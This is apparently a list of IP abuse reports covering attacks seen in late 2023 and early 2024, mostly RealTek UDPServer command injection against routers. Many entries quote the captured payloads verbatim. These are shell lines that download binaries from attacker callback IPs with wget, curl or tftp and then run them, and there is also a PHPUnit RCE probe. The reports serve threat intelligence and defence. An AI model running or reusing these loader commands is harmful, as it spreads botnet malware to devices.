🇮🇳
117.220.107.120
27 Apr 2024
tcp/8443 DD-WRT httpd cgi-bin remote command execution attempt
Hacking
Web App Attack
🇮🇳
117.194.218.96
26 Apr 2024
TCP/80 - CNC User-Agent known malicious user-agent string - Mirai
Hacking
Web App Attack
🇸🇪
78.40.116.195
26 Mar 2024
RealTek UDPServer command injection attempt
Source IP: 160.20.146.168
Callback IP: 78.40.116.195 ...
show more
RealTek UDPServer command injection attempt
Source IP: 160.20.146.168
Callback IP: 78.40.116.195
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://78.40.116.195/trc/TRC.mpsl;
chmod 777 *;
./TRC.mpsl mpsl.rain;
show less
Hacking
Web App Attack
🇩🇪
160.20.146.168
26 Mar 2024
RealTek UDPServer command injection attempt
Source IP: 160.20.146.168
Callback IP: 78.40.116.195 ...
show more
RealTek UDPServer command injection attempt
Source IP: 160.20.146.168
Callback IP: 78.40.116.195
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://78.40.116.195/trc/TRC.mpsl;
chmod 777 *;
./TRC.mpsl mpsl.rain;
show less
Hacking
Web App Attack
🇩🇪
2.58.95.60
25 Mar 2024
RealTek UDPServer command injection attempt
Source IP: 2.58.95.60
Callback IP: 91.92.241.246
...
show more
RealTek UDPServer command injection attempt
Source IP: 2.58.95.60
Callback IP: 91.92.241.246
orf;
cd /tmp cd /dev cd /mnt cd /var;
wget http://91.92.241.246/sh;
curl -O http://91.92.241.246/sh;
chmod 777 sh;
./sh;
rm -rf sh;
cd /tmp cd /dev cd /mnt cd /var;
tftp 91.92.241.246 -c get sh;
tftp -r sh -g 91.92.241.246;
chmod 777 sh;
./sh;
rm -rf sh
show less
Hacking
Web App Attack
🇩🇪
194.48.251.14
25 Mar 2024
PHPUnit PHP remote code execution attempt
Hacking
Web App Attack
🇳🇱
91.92.241.246
25 Mar 2024
RealTek UDPServer command injection attempt
Source IP: 45.128.232.224
Callback IP: 91.92.241.246 ...
show more
RealTek UDPServer command injection attempt
Source IP: 45.128.232.224
Callback IP: 91.92.241.246
orf;
cd /tmp || cd /dev || cd /mnt || cd /var;
wget http://91.92.241.246/sh;
curl -O http://91.92.241.246/sh;
chmod 777 sh;
./sh;
rm -rf sh;
show less
Hacking
Web App Attack
🇳🇱
45.128.232.224
25 Mar 2024
RealTek UDPServer command injection attempt
Source IP: 45.128.232.224
Callback IP: 91.92.241.246 ...
show more
RealTek UDPServer command injection attempt
Source IP: 45.128.232.224
Callback IP: 91.92.241.246
orf;
cd /tmp || cd /dev || cd /mnt || cd /var;
wget http://91.92.241.246/sh;
curl -O http://91.92.241.246/sh;
chmod 777 sh;
./sh;
rm -rf sh;
show less
Hacking
Web App Attack
🇺🇸
134.122.113.212
08 Mar 2024
tcp/80 MALWARE attempt Win.Trojan.AveMaria variant
Hacking
Web App Attack
🇮🇳
117.252.171.255
04 Mar 2024
80 (http) / tcp Netgear DGN1000 series routers authentication bypass attempt
Hacking
Web App Attack
🇮🇳
64.227.189.161
27 Feb 2024
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 64.23.212.100
Callback IP: 64.227.189. ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 64.23.212.100
Callback IP: 64.227.189.161
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://64.227.189.161/mipsel;
chmod +x mipsel;
./mipsel rt.mpsl;
show less
Hacking
Web App Attack
🇮🇳
117.213.80.203
27 Feb 2024
tcp/80 Netgear DGN1000 series routers authentication bypass attempt
Hacking
Web App Attack
🇳🇱
91.92.255.169
27 Feb 2024
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 45.61.185.16
Callback IP: 91.92.255.1 ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 45.61.185.16
Callback IP: 91.92.255.169
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://91.92.255.169/bins/mpsl;
chmod +x mpsl;
./mpsl rt.mpsl;
show less
Hacking
Web App Attack
🇺🇸
45.61.185.16
27 Feb 2024
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 45.61.185.16
Callback IP: 91.92.255.1 ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 45.61.185.16
Callback IP: 91.92.255.169
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://91.92.255.169/bins/mpsl;
chmod +x mpsl;
./mpsl rt.mpsl;
show less
Hacking
Web App Attack
🇻🇳
103.47.195.200
19 Feb 2024
udp/9034 Realtek cmd injection attempt
Source: 103.47.194.166
Callback: 103.47.195.200
orf;
...
show more
udp/9034 Realtek cmd injection attempt
Source: 103.47.194.166
Callback: 103.47.195.200
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.47.195.200/cundi.mpsl;
chmod +x cundi.mpsl;
./cundi.mpsl realtek;
/bin/busybox wget http://103.47.195.200/cundi.mips;
chmod +x cundi.mips;
./cundi.mips realtek2;
show less
Hacking
Web App Attack
🇻🇳
103.47.194.166
19 Feb 2024
udp/9034 Realtek cmd injection attempt
Source: 103.47.194.166
Callback: 103.47.195.200
orf;
...
show more
udp/9034 Realtek cmd injection attempt
Source: 103.47.194.166
Callback: 103.47.195.200
orf;
cd /tmp;
rm -rf mpsl;
/bin/busybox wget http://103.47.195.200/cundi.mpsl;
chmod +x cundi.mpsl;
./cundi.mpsl realtek;
/bin/busybox wget http://103.47.195.200/cundi.mips;
chmod +x cundi.mips;
./cundi.mips realtek2;
show less
Hacking
Web App Attack
🇯🇵
153.120.20.117
14 Feb 2024
tcp/80 HTTP PHPUnit PHP remote code execution attempt
<?=md5('fph23pah');echo strtouppe ...
show more
tcp/80 HTTP PHPUnit PHP remote code execution attempt
<?=md5('fph23pah');echo strtoupper(php_uname('s'))?>
Source: 153.120.20.117
show less
Hacking
Web App Attack
🇬🇧
194.169.175.30
12 Feb 2024
udp/9034 RealTek UDPServer command injection attempt
orf;
cd /tmp;
rm -rf mips;
/bin/busybox ...
show more
udp/9034 RealTek UDPServer command injection attempt
orf;
cd /tmp;
rm -rf mips;
/bin/busybox wget http://194.169.175.30/mips;
chmod +x mips;
./mips rt.mipsx
source: 194.169.175.30
callback: 194.169.175.30
show less
Hacking
Web App Attack
🇺🇸
209.141.58.60
06 Feb 2024
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf *.mpsl;
/bin/busybox w ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf *.mpsl;
/bin/busybox wget http://209.141.58.60/trc/TRC.mpsl;
curl -O http://209.141.58.60/trc/TRC.mpsl;
cat TRC.mpsl >trc;
chmod +x *;
./trc mpsl
Source IP: 82.165.200.164
Callback IP: 209.141.58.60
show less
Hacking
Web App Attack
🇬🇧
82.165.200.164
06 Feb 2024
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf *.mpsl;
/bin/busybox w ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
orf;
cd /tmp;
rm -rf *.mpsl;
/bin/busybox wget http://209.141.58.60/trc/TRC.mpsl;
curl -O http://209.141.58.60/trc/TRC.mpsl;
cat TRC.mpsl >trc;
chmod +x *;
./trc mpsl
Source IP: 82.165.200.164
Callback IP: 209.141.58.60
show less
Hacking
Web App Attack
🇺🇸
104.21.63.24
22 Jan 2024
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 194.110.248.20
callback IP: 104.21.6 ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 194.110.248.20
callback IP: 104.21.63.24
orf;
cd /tmp||cd /var&&/bin/busybox wget https://paradox-team.top/Anti-Honey-Pot/x86_64 -O 11&&./11
show less
Hacking
Web App Attack
🇺🇦
194.110.248.20
22 Jan 2024
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 194.110.248.20
callback IP: 104.21.6 ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source IP: 194.110.248.20
callback IP: 104.21.63.24
orf;
cd /tmp||cd /var&&/bin/busybox wget https://paradox-team.top/Anti-Honey-Pot/x86_64 -O 11&&./11
show less
Hacking
Web App Attack
🇺🇸
69.48.170.47
08 Jan 2024
udp/9034 RealTek UDPServer cmd injection attempt
source and callback: 69.48.170.47
orf;
cd /t ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
source and callback: 69.48.170.47
orf;
cd /tmp||cd /var&&/bin/busybox wget http://69.48.170.47/Anti-Honey-Pot/x86_64 -O 11&&./11;
show less
Hacking
Web App Attack
🇺🇸
162.250.123.61
19 Dec 2023
udp/9034 RealTek UDPServer cmd injection attempt
Source and callback: 162.250.123.61
orf;
cd ...
show more
udp/9034 RealTek UDPServer cmd injection attempt
Source and callback: 162.250.123.61
orf;
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://162.250.123.61/trc.sh;
curl -O http://162.250.123.61/trc.sh;
chmod 777 trc.sh;
sh trc.sh;
rm -rf *;
show less
Hacking
Web App Attack
🇺🇸
45.56.71.218
18 Dec 2023
PIKABOT - https://www.joesandbox.com/analysis/1364033
Phishing